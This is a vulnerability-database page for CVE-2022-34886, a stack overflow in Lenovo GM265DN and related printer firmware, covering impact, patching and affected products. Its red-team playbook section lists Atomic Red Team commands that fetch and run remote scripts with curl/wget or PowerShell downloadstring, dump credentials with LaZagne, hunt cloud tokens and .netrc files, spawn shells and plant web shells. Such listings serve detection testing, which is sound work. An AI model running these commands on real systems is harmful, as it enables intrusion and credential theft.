CVE-2022-34886
Overview
This vulnerability is a stack-based buffer overflow occurring in the firmware of Lenovo GM265DN printers produced in June 2022 and earlier. The flaw arises when the server-side interface improperly handles input strings pushed remotely via scripting, failing to validate or constrain input length. This unchecked input leads to memory corruption within the firmware's processing routines, specifically in the network communication component handling remote requests.
Vulnerability Description
A remote code execution vulnerability was found in the firmware used in some Lenovo printers, which can be caused by a remote user pushing an illegal string to the server-side interface via a script, resulting in a stack overflow.
Impact
An attacker with network access and low-level privileges can exploit this vulnerability to execute arbitrary code remotely on the affected printer's firmware, potentially gaining control over the device. No user interaction is required, and the attack vector is network-based with low complexity (AV:N/AC:L/PR:L/UI:N). This can lead to unauthorized manipulation of printer functions, disruption of printing services, or use of the device as a foothold for lateral movement within an enterprise environment.
Solution
Lenovo has released firmware updates addressing this vulnerability for the GM265DN printer series. Users should apply the latest firmware version available from Lenovo's official support site as detailed in their advisory (https://iknow.lenovo.com.cn/detail/205041.html). The update mitigates the stack overflow by enforcing proper input validation and bounds checking in the server-side interface. No alternative workarounds are specified; timely firmware upgrade is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical remote code execution vulnerability has been identified in the firmware of specific Lenovo printer models, including the GM265DN, GM266DNS, and G263DNS. This flaw arises from improper input validation in the server-side interface, which allows an attacker to send a specially crafted string that triggers a stack overflow. The nature of this vulnerability indicates that it can be exploited remotely, meaning that an attacker does not need physical access to the device to execute malicious code. This poses a significant risk, as it can lead to unauthorized access and control over the affected printers, potentially allowing attackers to manipulate sensitive data or disrupt business operations.
The primary attack vector involves an adversary utilizing a script to push an illegal string to the printer's server-side interface. By exploiting this vulnerability, an attacker can cause the device to execute arbitrary code, which may lead to a complete compromise of the printer's functionality. Scenarios for exploitation include targeting printers connected to corporate networks, where they can serve as entry points to broader network infrastructure. Attackers could leverage compromised printers to gain access to sensitive documents, intercept print jobs, or even pivot to other devices on the network, escalating their attack further.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Lenovo printers for their daily operations. The potential for remote code execution means that attackers could disrupt printing services, leading to operational downtime and loss of productivity. Furthermore, if sensitive information is processed or printed through these devices, the risk of data breaches increases significantly. Organizations may face reputational damage, regulatory fines, and legal consequences if sensitive data is exposed due to exploitation of this vulnerability. The financial implications of such incidents can be severe, making it imperative for businesses to prioritize the security of their printing infrastructure.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions provided by Lenovo is crucial, as these updates often contain patches for known vulnerabilities. Network segmentation can also help limit the exposure of printers to the broader network, thereby reducing the potential attack surface. Additionally, monitoring network traffic for unusual patterns or unauthorized access attempts can aid in early detection of exploitation attempts. Employing intrusion detection systems (IDS) and conducting regular security assessments will further enhance an organization’s ability to identify and respond to potential threats.
In conclusion, the remote code execution vulnerability in Lenovo printer firmware represents a significant security risk that organizations must address proactively. By understanding the technical details, potential attack vectors, and real-world implications, businesses can better prepare themselves against exploitation. Implementing robust detection and mitigation strategies will not only help secure their printing infrastructure but also safeguard sensitive information and maintain operational integrity in an increasingly threat-laden digital landscape.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Lenovo | Gm265dn Firmware | N/A |
cpe:2.3:o:lenovo:gm265dn_firmware:-:*:*:*:*:*:*:*
|
|
|
Lenovo | Gm266dns Firmware | All |
cpe:2.3:o:lenovo:gm266dns_firmware:*:*:*:*:*:*:*:*
|
|
|
Lenovo | G263dns Firmware | All |
cpe:2.3:o:lenovo:g263dns_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-34886 |
| iknow.lenovo.com.cn |
GitHub CVE
|
https://iknow.lenovo.com.cn/detail/205041.html |